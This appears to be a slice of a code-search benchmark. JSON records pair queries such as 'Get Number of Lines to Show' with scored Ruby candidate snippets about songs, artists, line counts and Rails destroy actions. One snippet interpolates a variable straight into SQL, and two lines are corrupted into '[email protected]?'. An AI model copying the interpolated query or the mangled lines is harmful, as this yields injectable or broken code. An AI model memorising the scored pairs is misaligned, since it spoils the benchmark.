"text": "def add_song(song)\n if song.artist == nil \n song.artist = self \n end \n \n if [email protected]?(song)\n @songs << song \n end \n \n end",
"title": ""
},
{
"docid": "46e7945079ea54a3b77b8f3d3f569bcc",
"score": "0.70453405",
"text": "def artist_name\n if self.artist_id\n Artist.find(self.artist_id).name\n end\n end",
"title": ""
},
{
"docid": "2a86a8ad8b83d87232ee24a937b89235",
"score": "0.7044617",
"text": "def artist\n artists.first\n end",
"title": ""
},
{
"docid": "91990e33bde00d6302466eed69ddc279",
"score": "0.7042424",
"text": "def artists\n self.songs.collect {|x| x.artist}\n end",
"title": ""
},
{
"docid": "e8dc11d6b42ccd7822e1f244b0012ce0",
"score": "0.7037663",
"text": "def artist_info\n \t# get the rest of the information about artist # @artist\n\n \tDB.execute(\"select * from artist where id=\\\"#{@artist}\\\"\")[0]\n end",
"title": ""
},
{
"docid": "aaf85c3767588e936139bccf7f568c4b",
"score": "0.70331615",
"text": "def add_song3(song) #this may be the problem with genres, look at these tests closely.\n if !song.artist.is_a?(Artist) && [email protected]?(song)#meet spec, don't overwrite existing artists instance in song/artist slot\n song.artist = self\n @songs << song #need to add test also for preexist / done, works\n end\n end",
"title": ""
},
{
"docid": "41e6cb767db49d1dd6961e1aed429571",
"score": "0.70193696",
"text": "def add_song(song)\n @songs << song\n song.artist = self\n #above self refers to artist\n end",
"title": ""
},
{
"docid": "d6be848d5c5d62d251ae11a6e07c4a0d",
"score": "0.7010121",
"text": "def artist; @mw.art_browser.artlnk.artist end",
"title": ""
},
{
"docid": "8d48282881c05de01257b0a954a55693",
"score": "0.70092946",
"text": "def album_artist\n album_artist = nil\n if unique?(@tracks, \"artist\" )\n album_artist = @tracks[0].artist\n else\n album_artist = 'Various Artists'\n end\n return album_artist\n end",
"title": ""
},
{
"docid": "d5edf1ac7a477b7fc6c75918bcf5d7fa",
"score": "0.7006386",
"text": "def artists\n artists = songs.collect do |song|\n song.artist if song.genre.name == self.name\n end.uniq\n end",
"title": ""
},
{
"docid": "f040f82b9d88c66d63f40d6f9940e2d5",
"score": "0.7003128",
"text": "def artist\n artists.first\n end",
"title": ""
},
{
"docid": "564ce9b408efdbed462d62bdae4cc770",
"score": "0.7001747",
"text": "def artist=(artist)\n if @artist == nil\n @artist = artist\n else\n @artist = @artist\n end \n if self.artist != nil\n @artist.add_song(self)\n end\n @artist\n end",
"title": ""
},
{
"docid": "d4bfe171c591d5fa62a32651847b926e",
"score": "0.70014006",
"text": "def album_artist\n object[\"album_artist\"]\n end",
"title": ""
},
{
"docid": "8b3241536231d93d34efa75acb062206",
"score": "0.6996653",
"text": "def artist_name \n if self.artist == nil\n nil\n else\n self.artist.name\n end \n end",
"title": ""
},
{
"docid": "68019736ba61a9101409beba1a79670c",
"score": "0.69914293",
"text": "def add_song_by_name(song)\n song = Song.new(song)\n song.artist = self\n end",
"title": ""
},
{
"docid": "ee16070548d2c84ec7a0028c2c95f180",
"score": "0.6990039",
"text": "def add_song(song)\n @song << song.name\n song.artist = self\n \n end",
"title": ""
}
] |
89532513157af7a33276dca12c30b6c0
|
Get Number of Lines to Show
|
[
{
"docid": "4f91a8e23c3485e7f3cdc5c39511c09b",
"score": "0.0",
"text": "def visible_line_number\n return 6\n end",
"title": ""
}
] |
[
{
"docid": "49f65537b49df7cc98d92fa71ad60145",
"score": "0.8250345",
"text": "def count_lines\n @lines.length\n end",
"title": ""
},
{
"docid": "c712546771ed2f10aae674663659c708",
"score": "0.8116362",
"text": "def line_number\n @lines.size\n end",
"title": ""
},
{
"docid": "c712546771ed2f10aae674663659c708",
"score": "0.8116362",
"text": "def line_number\n @lines.size\n end",
"title": ""
},
{
"docid": "a6f1dfc4e58c3095e1fb058e60a04118",
"score": "0.811273",
"text": "def count\n line_count\n end",
"title": ""
},
{
"docid": "a6f1dfc4e58c3095e1fb058e60a04118",
"score": "0.811273",
"text": "def count\n line_count\n end",
"title": ""
},
{
"docid": "8f29f9c16eea6186336cc54de767df8c",
"score": "0.8081863",
"text": "def num_lines\n @sizes[0]\n end",
"title": ""
},
{
"docid": "4461f0aea770f6858e1ccd96f1da4877",
"score": "0.80595034",
"text": "def line_counts; end",
"title": ""
},
{
"docid": "4e91e7adb9a77e67cbd413f79e405cbb",
"score": "0.78250706",
"text": "def line_count\n prog_order.length\n end",
"title": ""
},
{
"docid": "94516e34dec84f1de814cb75b27df2b1",
"score": "0.77930146",
"text": "def lines\n @lines.length\n end",
"title": ""
},
{
"docid": "48e3bc83958165f7589276e35193b3ab",
"score": "0.76940984",
"text": "def main_line_count\n @pdd_section.lines[0].fields[2].text.to_i\n end",
"title": ""
},
{
"docid": "882994e5b459d989606308d27e4a29b9",
"score": "0.7681026",
"text": "def count_lines\n VIM::Buffer.current.count\n end",
"title": ""
},
{
"docid": "1287c46b7429358e9684c19462ceeb29",
"score": "0.76019156",
"text": "def length\n @lines.length\n end",
"title": ""
},
{
"docid": "c96db7c961960b99d45f5bafc3253ebb",
"score": "0.7592401",
"text": "def line_items_count\n self.line_items.size\n end",
"title": ""
},
{
"docid": "303f50f42dc415f93e2af2991964bffb",
"score": "0.7581224",
"text": "def count_lines\n linecount = 0\n\n @output_buffer.each do |line|\n linecount += line.scan(/\\n/).count\n end\n\n linecount - 1\n end",
"title": ""
},
{
"docid": "e053d95283466f551190cb0ffe82fde1",
"score": "0.75477856",
"text": "def size\n @lines.length\n end",
"title": ""
},
{
"docid": "e7b79148011a77beb7f1056caf2d88ff",
"score": "0.7534461",
"text": "def height\n lines.size\n end",
"title": ""
},
{
"docid": "e263ebad84c96ea2b0cd1fbddb1f8ce9",
"score": "0.75225174",
"text": "def line_items_count\n self.line_items.count\n end",
"title": ""
},
{
"docid": "e263ebad84c96ea2b0cd1fbddb1f8ce9",
"score": "0.75225174",
"text": "def line_items_count\n self.line_items.count\n end",
"title": ""
},
{
"docid": "101ea23f1910d08c3cbc4df291019f47",
"score": "0.75164497",
"text": "def count_lines\n @file.size\n end",
"title": ""
},
{
"docid": "1642f8fe590217b666406d6e79982430",
"score": "0.7492906",
"text": "def size\n lines.size\n end",
"title": ""
},
{
"docid": "dcd48c9a18c7fc768e317d1e3810ccf4",
"score": "0.74731344",
"text": "def number_of_lines value\n\t\t\t\[email protected] = value\n\t\t\t\[email protected](NSTextAlignmentCenter)\n\t\t\tend",
"title": ""
},
{
"docid": "674b440dcdd07513839c2c2f2c0d96d8",
"score": "0.7464006",
"text": "def num_line\n # TODO: this isn't perfect because numbers > 9 will take up more space\n ' ' + (1..width).to_a.join(' ') + ' '\n end",
"title": ""
},
{
"docid": "a395907e4499e4d0a873bcabbd44f8bd",
"score": "0.74492896",
"text": "def count\n return line_points.count\n end",
"title": ""
},
{
"docid": "c1b8e20dfba89011155a0ac6b98fa323",
"score": "0.7445067",
"text": "def line_count\n ng_xml.css(\"fits > metadata > document > lineCount\").map(&:text)\n end",
"title": ""
},
{
"docid": "6cce0361a1d329697fbe1b8c77e42b46",
"score": "0.74309367",
"text": "def data_line_count\n data_lines.count\n end",
"title": ""
},
{
"docid": "68c123b9dbf770f7b43efb3247c0a3fe",
"score": "0.7424515",
"text": "def lines\n return @script.length\n end",
"title": ""
},
{
"docid": "06606501a53788762fb6de9525f45c46",
"score": "0.73654175",
"text": "def loc\n lines.size\n end",
"title": ""
},
{
"docid": "06606501a53788762fb6de9525f45c46",
"score": "0.73654175",
"text": "def loc\n lines.size\n end",
"title": ""
},
{
"docid": "06606501a53788762fb6de9525f45c46",
"score": "0.73654175",
"text": "def loc\n lines.size\n end",
"title": ""
},
{
"docid": "aa6dc7b0a5417016679f6c3c42be34b6",
"score": "0.7330594",
"text": "def readlines count\n @r.readlines count\n end",
"title": ""
},
{
"docid": "d0961d3f832b931126e22e7175c331aa",
"score": "0.73154086",
"text": "def count_lines\n @chars = 0\n @lines += 1\n\n if @lines >= (@lines_per_page - 1)\n case pause.downcase\n when \" \"\n @lines -= 1\n when \"q\"\n raise QuitOutput\n else\n @lines = 0\n end\n end\n end",
"title": ""
},
{
"docid": "d66a7307723834cd8acb969c7bda1e1a",
"score": "0.7295702",
"text": "def size\n lines.size + 2\n end",
"title": ""
},
{
"docid": "4eec5127ecdca5f9292f3a438a5a8cbd",
"score": "0.7189049",
"text": "def line_test_count\n line_tests.count\n end",
"title": ""
},
{
"docid": "4eec5127ecdca5f9292f3a438a5a8cbd",
"score": "0.7189049",
"text": "def line_test_count\n line_tests.count\n end",
"title": ""
},
{
"docid": "157fb4189919daa58c0e5d8d94d70359",
"score": "0.7167025",
"text": "def count_lines(lines)\n lines.length\nend",
"title": ""
},
{
"docid": "9d17bdbbe4e72c4d34be14c7b7f9dd5c",
"score": "0.7166342",
"text": "def count\n @text_blocks.count\n end",
"title": ""
},
{
"docid": "227031f4bce5d00895eb5c433b7a5bf4",
"score": "0.71405786",
"text": "def size_in_lines(filepath)\n f = File.new(filepath)\n f.readlines[-1]\n count = f.lineno.to_s\n puts \"#{count} lines in the #{File.basename(filepath)} file.\".blue\n end",
"title": ""
},
{
"docid": "1bac938fe048497e94393397536cda5b",
"score": "0.7138437",
"text": "def line_num\n File.foreach(CTRL_FILE).inject(0) { |c, _line| c + 1 }\n end",
"title": ""
},
{
"docid": "e4540f48c8a8dce9669fbd18b8e1cec6",
"score": "0.7121624",
"text": "def length\n (lines.map do |line|\n Strings::Align.display_width(line)\n end << 0).max\n end",
"title": ""
},
{
"docid": "866fdf825bc2c8eb125a74c8734607b5",
"score": "0.7113426",
"text": "def line_count\n self.contribution_counts(:line)\n end",
"title": ""
},
{
"docid": "0d204f561d12eb0350cac0ee368fc4e7",
"score": "0.70990187",
"text": "def main_line_count\n dayinfo_section.lines[0].fields[2].text.to_i\n end",
"title": ""
},
{
"docid": "838b172d65787eb1738ec1b93f6857c3",
"score": "0.708279",
"text": "def size\n aslines.size\n end",
"title": ""
},
{
"docid": "7cb5de568f70d2f2db820009440a5f62",
"score": "0.7072821",
"text": "def n_lines(filename); end",
"title": ""
},
{
"docid": "eb8848c1640ab502d37d4e18f63e98dc",
"score": "0.7026682",
"text": "def lines(text)\n text.lines.size\n end",
"title": ""
},
{
"docid": "4b1def86697ea78b35dd210e12cd556c",
"score": "0.7024239",
"text": "def lines(text)\n text.lines.size\nend",
"title": ""
},
{
"docid": "a49a23842571418b90a0a10793d3177f",
"score": "0.7020589",
"text": "def max_line_count; end",
"title": ""
},
{
"docid": "43081932597f6a2732655c0a04915745",
"score": "0.6990289",
"text": "def count_lines\n @chars = 0\n @lines += 1\n\n if @lines >= (lines_per_page - 1)\n case pause.downcase\n when one_line\n @lines -= 1\n when skip_all\n @lines = 0\n raise PauseOutputStop\n when no_pause\n @lines = -1_000_000\n else\n @lines = 0\n end\n end\n end",
"title": ""
},
{
"docid": "8cfc547d5441259f35dbdecb4458636d",
"score": "0.6971941",
"text": "def max_lines\n row_number = 0\n contents.each do |content|\n if content.class == PDFBook::Content::Text\n row_number = content.text.lines.count\n else\n row_number = 1\n end\n end\n return row_number\n end",
"title": ""
},
{
"docid": "d1301024d96c62567e505019b08b8866",
"score": "0.69693613",
"text": "def num_line\n \"\"\"\n ret = ''\n (1..height).each do |a|\n ret += ( a.even? ? ' X ' : ' O ' )\n end # each do\n ret\n \"\"\"\n\n # this isn't perfect because numbers > 9 will take up more space XXX\n ' ' + (1..width).to_a.join(' ') + ' '\n end",
"title": ""
},
{
"docid": "614a7337c476c3702b10e7ef61427e6f",
"score": "0.6967069",
"text": "def text_height\n result = lines.length\n \n result == 0 ? 1 : result\n end",
"title": ""
},
{
"docid": "8c48ecc0fb45f8c94d22f4fc9531ddc2",
"score": "0.6962705",
"text": "def last_line_number_length text\n text.lines.count.to_s.length\nend",
"title": ""
},
{
"docid": "9f0e04e94df04c03830d7413828c9ba2",
"score": "0.6953915",
"text": "def line_length(line); end",
"title": ""
},
{
"docid": "9f0e04e94df04c03830d7413828c9ba2",
"score": "0.6953915",
"text": "def line_length(line); end",
"title": ""
},
{
"docid": "fda498fda8db3d35a23aa8e62daac0b1",
"score": "0.6953125",
"text": "def number_of_lines_in_first_chunk; end",
"title": ""
},
{
"docid": "fda498fda8db3d35a23aa8e62daac0b1",
"score": "0.6953125",
"text": "def number_of_lines_in_first_chunk; end",
"title": ""
},
{
"docid": "743ce92000d1a31e6f4ac4b91f99bab2",
"score": "0.69519335",
"text": "def line_num()\n #This is a stub, used for indexing\n end",
"title": ""
},
{
"docid": "760fe414545dc65c6118767ca78a36c6",
"score": "0.6935098",
"text": "def lines_per_page\n result = @options[:page_height].to_i\n result = MiniTerm.height if result < 2\n result\n end",
"title": ""
},
{
"docid": "9eeff6b8e52d62129d0b3df497cdb7e2",
"score": "0.69188046",
"text": "def NumLines(file)\n file = deep_copy(file)\n Builtins.size(Ops.get_map(file, \"l\", {}))\n end",
"title": ""
},
{
"docid": "9cbcd2b9bd6329696fee423904855931",
"score": "0.69122475",
"text": "def max_displayed_failure_line_count; end",
"title": ""
},
{
"docid": "04c6a24905e1675be69177116c13a298",
"score": "0.68959373",
"text": "def log_line_count\n if self.log\n self.log.split(\"\\n\").length\n else\n 0\n end\n end",
"title": ""
},
{
"docid": "893273010f1fdadf30076c481cefc4ed",
"score": "0.68833786",
"text": "def line_num; end",
"title": ""
},
{
"docid": "d47ef66eb5d3b69ab88dd8628186f9f4",
"score": "0.6882414",
"text": "def lines\r\n prime_fact(@lines) << \" line\" << (\"s\" unless @lines == 1).to_s\r\n end",
"title": ""
},
{
"docid": "3793d97de9684821b374bda41181a356",
"score": "0.68749386",
"text": "def line_size\n\t\t@page_content ? @page_content.line_size : 0\n\tend",
"title": ""
},
{
"docid": "a048a202792a46759eb73d0cdf316a95",
"score": "0.6865905",
"text": "def max_lines\n (contents.width / line_height) - 1;\n end",
"title": ""
},
{
"docid": "4d4fa8898dc9d15011537f9560b38492",
"score": "0.68522406",
"text": "def get_nline\n\t\treturn @nline\n\tend",
"title": ""
},
{
"docid": "4d4fa8898dc9d15011537f9560b38492",
"score": "0.68522406",
"text": "def get_nline\n\t\treturn @nline\n\tend",
"title": ""
},
{
"docid": "a13760b2f3db888e4c548de13b77300e",
"score": "0.6837875",
"text": "def line_number()\n if @line_number.nil? then\n @line_number = 1\n @line_endings.each do |line_ending|\n if @position > line_ending\n @line_number += 1\n else\n break\n end\n end\n end\n \n return @line_number\n end",
"title": ""
},
{
"docid": "78df9b647be75f190559178d4b7a936a",
"score": "0.68278337",
"text": "def line_size\n block_size\n end",
"title": ""
},
{
"docid": "ee3ddee4270cb6d9275ed7a24c988185",
"score": "0.6799097",
"text": "def lines_added\n @additions.length\n end",
"title": ""
},
{
"docid": "e29cea8d9beb41bc982f8955251827c2",
"score": "0.6792027",
"text": "def length\n @line.length\n end",
"title": ""
},
{
"docid": "0f141c8107e9f1d3ae968488536b9df1",
"score": "0.67778724",
"text": "def height\n @graphic.split(\"\\n\").length\n end",
"title": ""
},
{
"docid": "12a315988e7a8b82ea25565a4d4bf3ab",
"score": "0.67700315",
"text": "def line_size\n @sizes[1]\n end",
"title": ""
},
{
"docid": "e991defcb0ed6eae429819ef5d3dbbe0",
"score": "0.6767775",
"text": "def question_lines_count(question_lines)\n question_lines.reduce(0) do |acc, line|\n acc + @prompt.count_screen_lines(line)\n end\n end",
"title": ""
},
{
"docid": "c8bd39a9ea56c68a2125d4da574eb4a0",
"score": "0.673915",
"text": "def number_of_items\n number_of_items = 0\n line_items.each do |li|\n number_of_items += li.quantity\n end\n number_of_items\n end",
"title": ""
},
{
"docid": "595ca731838a76dc1ca88383f2c28957",
"score": "0.6720161",
"text": "def max_displayed_failure_line_count=(_arg0); end",
"title": ""
},
{
"docid": "6fde96513ddebe9f6072293e9adb9d04",
"score": "0.6710436",
"text": "def count_lines(*args)\n args.inject(0) do |sum, el|\n sum + el.count(\"\\n\")\n end\n end",
"title": ""
},
{
"docid": "052b105d15f668cd1d1a82ace9e5a0cf",
"score": "0.6710381",
"text": "def number lines\n lines.map.with_index {|x, i| \"#{i + 1}\" + \": \" + \"#{x}\" }\nend",
"title": ""
},
{
"docid": "fb9fa0fa526bb6dd70a05a6254e6d5f1",
"score": "0.67006814",
"text": "def lines\n (ENV['n'] || fetch(:logtail_lines, 10)).to_i\n end",
"title": ""
},
{
"docid": "39b43e6c2d06f0d07d4382919cc7b6df",
"score": "0.6696524",
"text": "def lines_of_text( text )\n\t\ttext.split( \"\\n\" ).size\t\n\tend",
"title": ""
},
{
"docid": "63d24519896a4aec9bc3d86bd7fd606e",
"score": "0.66808325",
"text": "def line_length_for(line_number)\n line_lengths[line_number]\n end",
"title": ""
},
{
"docid": "ff8ffad7a400b4b37d3871a1919d148b",
"score": "0.667908",
"text": "def nRows()\n\tend",
"title": ""
},
{
"docid": "2858efc80e2d4fc438daef9c2d34eb9a",
"score": "0.6674097",
"text": "def lines\n @value.inject(0) do |s, e|\n next s + e.count(\"\\n\") if e.is_a?(String)\n next s\n end\n end",
"title": ""
},
{
"docid": "2858efc80e2d4fc438daef9c2d34eb9a",
"score": "0.6674097",
"text": "def lines\n @value.inject(0) do |s, e|\n next s + e.count(\"\\n\") if e.is_a?(String)\n next s\n end\n end",
"title": ""
},
{
"docid": "551ef0327772a9c3ba163a196e9cfd10",
"score": "0.66711557",
"text": "def item_count\n self.line_items.any? ? self.line_items.count : 0\n end",
"title": ""
},
{
"docid": "d3c32601f1cfec54f7d43f49846c8162",
"score": "0.66659147",
"text": "def line_lengths\n prog_order.map { |prog_id| ChordProgression.get(prog_id) }.map { |p| p.length }\n end",
"title": ""
},
{
"docid": "c257baeecc8ac5123391eb9e96d89bef",
"score": "0.6662255",
"text": "def lines_of_code\n covered_lines.size + missed_lines.size\n end",
"title": ""
},
{
"docid": "15acf9867c9459a704a1b24f9c02c04e",
"score": "0.66410947",
"text": "def increase_line_count\n @line_count += 1\n end",
"title": ""
},
{
"docid": "15acf9867c9459a704a1b24f9c02c04e",
"score": "0.66410947",
"text": "def increase_line_count\n @line_count += 1\n end",
"title": ""
},
{
"docid": "d5cfa2711ff2e2139e0c22c51d175a97",
"score": "0.6625952",
"text": "def line_test_count\n tests.inject(0){|sum,test| (sum + test.line_tests.count)}\n end",
"title": ""
},
{
"docid": "9ac68217311f361190b5ae5cf8f68d97",
"score": "0.6624708",
"text": "def lines\n env['LINES'].to_i if env['LINES']\n end",
"title": ""
},
{
"docid": "579ea32a7f28ba9c20b29702a7aa061a",
"score": "0.66214436",
"text": "def extra_lines(position, num_pages, page_height, max_number_of_pages)\n line_height = CookbookGenerator::TEXT_FONT_SIZE + CookbookGenerator::HC_LINE_HEIGHT\n\n # Count extra lines on the last page\n extra_lines_counter = (page_height - position) / line_height\n\n # Count extra lines on each extra pages\n extra_lines_counter += ((num_pages - max_number_of_pages - 1) * page_height) / line_height\n\n return (extra_lines_counter.to_i == 0) ? 1 : extra_lines_counter.to_i\n end",
"title": ""
},
{
"docid": "ab0194922c1131cd6eaee769c22754a5",
"score": "0.6616446",
"text": "def lines\n sum = 0\n self.files.collect { |f| f.lines }.each { |i| sum += i }\n sum\n end",
"title": ""
},
{
"docid": "815d55651a6beffd7b22b3ea5a77351d",
"score": "0.6611821",
"text": "def console_count\n self.consoles.count\n end",
"title": ""
},
{
"docid": "525bd76a3b705fe885c7e49f5e63c12e",
"score": "0.66001785",
"text": "def count_lines_in_class(klass)\n lines = klass.methods.map {|method| method.lines}.inject(:+)\n lines.nil? ? 0 : lines\n end",
"title": ""
},
{
"docid": "9328e96b0959aed79a448cf68fcb9f13",
"score": "0.6599092",
"text": "def size\n `echo 'cols\\nlines' | tput -S`.strip.split(\"\\n\").map(&:to_i)\nend",
"title": ""
},
{
"docid": "e32d555b8db17a5dc582d538e0cd62d8",
"score": "0.65816694",
"text": "def visible_line_number\n item_max\n end",
"title": ""
},
{
"docid": "e32d555b8db17a5dc582d538e0cd62d8",
"score": "0.65816694",
"text": "def visible_line_number\n item_max\n end",
"title": ""
},
{
"docid": "e32d555b8db17a5dc582d538e0cd62d8",
"score": "0.65816694",
"text": "def visible_line_number\n item_max\n end",
"title": ""
},
{
"docid": "e32d555b8db17a5dc582d538e0cd62d8",
"score": "0.65816694",
"text": "def visible_line_number\n item_max\n end",
"title": ""
},
{
"docid": "e32d555b8db17a5dc582d538e0cd62d8",
"score": "0.65816694",
"text": "def visible_line_number\n item_max\n end",
"title": ""
},
{
"docid": "424441eb71edcf8beb75bda373aac1fb",
"score": "0.6575215",
"text": "def total_count\n line_items.sum(:count)\n end",
"title": ""
}
] |
fe0be2908c7d7a98cbabbd02effec7c7
|
DELETE /out_repertories/1 DELETE /out_repertories/1.json
|
[
{
"docid": "f65a99724615dfae92b97f9a84296af5",
"score": "0.74494845",
"text": "def destroy\n @out_repertory.destroy\n respond_to do |format|\n format.html { redirect_to out_repertories_url, notice: 'Out repertory was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"title": ""
}
] |
[
{
"docid": "7452c4d15daf08108aaa5a1b728adb31",
"score": "0.7071043",
"text": "def destroy\n @json.destroy\n\n head :no_content\n end",
"title": ""
},
{
"docid": "eda499d9336418ca2796b82b9f7d4935",
"score": "0.69631135",
"text": "def destroy\n @repertory.destroy\n respond_to do |format|\n format.html { redirect_to repertories_url, notice: 'Repertory was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"title": ""
},
{
"docid": "cdc69632974a72dbd8aadc2e9957f7f6",
"score": "0.69607925",
"text": "def destroy_rest\n @v1_item_usage = V1ItemUsage.find(params[:id])\n @v1_item_usage.destroy\n\n respond_to do |format|\n format.html { redirect_to(v1_item_usages_url) }\n format.xml { head :ok }\n end\n end",
"title": ""
},
{
"docid": "f7d8921f5a6818ee0450b1bb98a2260d",
"score": "0.6924443",
"text": "def destroy\n @put_repertory.destroy\n respond_to do |format|\n format.html { redirect_to put_repertories_url, notice: 'Put repertory was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"title": ""
},
{
"docid": "4426e122e778d4e03167ca4fd245966b",
"score": "0.6900338",
"text": "def destroy\n @hito.destroy\n respond_to do |format|\n format.html { redirect_to hitos_url }\n format.json { head :no_content }\n end\n end",
"title": ""
},
{
"docid": "7f8e35112d7f3be3b2b9964028c50209",
"score": "0.6860599",
"text": "def destroy\n @accessory = Accessory.find(params[:id])\n @accessory.destroy\n\n respond_to do |format|\n format.html { redirect_to accessories_url }\n format.json { head :no_content }\n end\n end",
"title": ""
},
{
"docid": "8eb32647e911a841f840e1c9eea28832",
"score": "0.685368",
"text": "def destroy\n @istory.destroy\n respond_to do |format|\n format.html { redirect_to istories_url, notice: 'Istory was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"title": ""
},
{
"docid": "ae0626ea3c4594f2fd6bfff81dafbc09",
"score": "0.6852409",
"text": "def destroy\n @itemholdon.destroy\n respond_to do |format|\n format.html { redirect_to itemholdons_url }\n format.json { head :no_content }\n end\n end",
"title": ""
},
{
"docid": "4f127fd493f87671bf4fe6dcefe150c8",
"score": "0.68382114",
"text": "def destroy\n @loot.destroy\n respond_to do |format|\n format.html { redirect_to loots_url }\n format.json { head :no_content }\n end\n end",
"title": ""
},
{
"docid": "7a522670391b35692b2399788a7757b7",
"score": "0.68274754",
"text": "def destroy\n @food_nutrient.destroy\n\n head :no_content\n end",
"title": ""
},
{
"docid": "0b24cbc6495df3923ea7679acbcd8deb",
"score": "0.6801644",
"text": "def delete_floor_plan(args = {}) \n delete(\"/files.json/floorplan/images\", args)\nend",
"title": ""
},
{
"docid": "4be3f35cfedc0d656d60ccb7c4c43562",
"score": "0.67904556",
"text": "def destroy\n @theory.destroy\n respond_to do |format|\n format.html { redirect_to theories_url }\n format.json { head :no_content }\n end\n end",
"title": ""
},
{
"docid": "d2950bfbf41fcc28fce913efce4916e0",
"score": "0.6789166",
"text": "def destroy\n @mostsmallmissioninventory = Mostsmallmissioninventory.find(params[:id])\n @mostsmallmissioninventory.destroy\n\n respond_to do |format|\n format.html { redirect_to mostsmallmissioninventories_url }\n format.json { head :no_content }\n end\n end",
"title": ""
},
{
"docid": "a16ffa4a46950e906a26d7921fbd3c19",
"score": "0.6775628",
"text": "def destroy\n @historial_odc = HistorialOdc.find(params[:id])\n @historial_odc.destroy\n\n respond_to do |format|\n format.html { redirect_to historial_odcs_url }\n format.json { head :no_content }\n end\n end",
"title": ""
},
{
"docid": "d866acf49a36444ce6faa4ac537f4d78",
"score": "0.67728454",
"text": "def destroy\n @very_loot.destroy\n respond_to do |format|\n format.html { redirect_to very_loots_url }\n format.json { head :no_content }\n end\n end",
"title": ""
},
{
"docid": "5c181505ac0deedddfba684db419e428",
"score": "0.6769944",
"text": "def delete\n render json: Own.delete(params[\"id\"])\n end",
"title": ""
},
{
"docid": "cd1657c2cee8d6f58bfc17e85af24062",
"score": "0.6765102",
"text": "def delete_restaurant\n @outservice = Restaurant.find(:first, :conditions =>[\"name = ?\",params[:name]])\n @outservice.destroy\n\n respond_to do |format|\n format.html { redirect_to outservices_path }\n format.json { head :no_content }\n end\n end",
"title": ""
},
{
"docid": "cfea572d114948e2ea084b545c3be8cd",
"score": "0.67535055",
"text": "def destroy\n request = RestClient.delete File.join(API_SERVER,\"rest-api/departments\",params['id'])\n redirect_to :action => :index\t\n end",
"title": ""
},
{
"docid": "4937b66b0f808f41c447cc3f5ec83f24",
"score": "0.674903",
"text": "def destroy\n @inmueble.destroy\n respond_to do |format|\n format.html { redirect_to inmuebles_url }\n format.json { head :no_content }\n end\n end",
"title": ""
},
{
"docid": "801ce71e01586dcd396138c7836d4a07",
"score": "0.67479837",
"text": "def destroy\n @drumy = Drumy.find(params[:id])\n @drumy.destroy\n\n respond_to do |format|\n format.html { redirect_to drumies_url }\n format.json { head :no_content }\n end\n end",
"title": ""
},
{
"docid": "22974d5b50bbfa1a6c4ac905a5e4725f",
"score": "0.6743557",
"text": "def destroy\n @outfit = Outfit.find(params[:id])\n @outfit.destroy\n\n respond_to do |format|\n format.html { redirect_to outfits_url }\n format.json { head :ok }\n end\n end",
"title": ""
},
{
"docid": "a965df74aa392e676b270d2cf099ad5c",
"score": "0.67311305",
"text": "def destroy\n @landio_item.destroy\n respond_to do |format|\n format.html { redirect_to landio_items_url, notice: 'Landio item was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"title": ""
},
{
"docid": "18255c474732f667a9d394358015ab80",
"score": "0.6729502",
"text": "def destroy\n #@ingredient = @measurement_unit.ingredients.find(params[:id])\n @ingredient.destroy\n respond_to do |format|\n format.html { redirect_to ingredients_url }\n format.json { head :no_content }\n end\n end",
"title": ""
},
{
"docid": "077e7cb922d66336c878a51d54e11262",
"score": "0.67237955",
"text": "def destroy\n @overhead = Overhead.find(params[:id])\n @overhead.destroy\n\n respond_to do |format|\n format.html { redirect_to overheads_url }\n format.json { head :no_content }\n end\n end",
"title": ""
},
{
"docid": "fe31cf955cdef26cd941be19e3c1b42b",
"score": "0.672271",
"text": "def destroy\n @available_foodstuff.destroy\n respond_to do |format|\n format.html { redirect_to available_foodstuff_index_url }\n format.json { head :no_content }\n end\n end",
"title": ""
},
{
"docid": "c595545ff8dd0d5e920d43f008432dda",
"score": "0.67225933",
"text": "def destroy\n @accessory.destroy\n respond_to do |format|\n format.html { redirect_to accessories_url, notice: 'Accessory was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"title": ""
},
{
"docid": "545a430f8de36d8a85ac96c28e787f7d",
"score": "0.672092",
"text": "def destroy\n @json_sample = JsonSample.find(params[:id])\n @json_sample.destroy\n\n respond_to do |format|\n format.html { redirect_to json_samples_url }\n format.json { render json: {msg: \"complete\", status: \"OK\"} }\n end\n end",
"title": ""
},
{
"docid": "e803e2a20064d841732119f01f7e63e6",
"score": "0.671303",
"text": "def destroy\n @ingredient.destroy\n head :no_content\n end",
"title": ""
},
{
"docid": "825ee2ef310b6972c811608d4ae55981",
"score": "0.6706964",
"text": "def destroy\n\n @delete = Pantry.find_by_ingredient_id params[:ingredient_id]\n\n if @delete.destroy\n render json: { result: @delete }\n else\n format.json { render json: @delete.errors, status: :unprocessable_entity }\n end\n end",
"title": ""
},
{
"docid": "4e031f348b911b72c20ba971dffe9921",
"score": "0.6706328",
"text": "def destroy\n @outservice = Restaurant.find(:first, :conditions =>[\"name = ?\",params[:name]])\n @outservice.destroy\n\n respond_to do |format|\n format.html { redirect_to outservices_url }\n format.json { head :no_content }\n end\n end",
"title": ""
},
{
"docid": "61496cc053172164064dfa19f0108bc0",
"score": "0.6703963",
"text": "def destroy\n @line_pet.destroy\n respond_to do |format|\n format.html { redirect_to line_pets_url }\n format.json { head :no_content }\n end\n end",
"title": ""
},
{
"docid": "f67ebdbf98de25172c9ee7031c2509c9",
"score": "0.6699142",
"text": "def destroy\n @inventory.destroy\n respond_to do |format|\n format.html { redirect_to inventories_url }\n format.json { head :no_content }\n end\n end",
"title": ""
},
{
"docid": "e7f9bcf792ee8ac316d047c6de32f01a",
"score": "0.66985023",
"text": "def destroy_rest\n @v1_page_usage = V1PageUsage.find(params[:id])\n @v1_page_usage.destroy\n\n respond_to do |format|\n format.html { redirect_to(v1_page_usages_url) }\n format.xml { head :ok }\n end\n end",
"title": ""
},
{
"docid": "8e9521a91282774a26f021e404ad50da",
"score": "0.669563",
"text": "def destroy\n @outing.destroy\n respond_to do |format|\n format.html { redirect_to outings_url }\n format.json { head :no_content }\n end\n end",
"title": ""
},
{
"docid": "9206c12be0e9315e9442367f39e0b53d",
"score": "0.66926473",
"text": "def destroy\n @demand.destroy\n respond_to do |format|\n format.json { head :no_content }\n end\n end",
"title": ""
},
{
"docid": "1c6fb5b9832ee9349776a8ec20d5dc83",
"score": "0.6689227",
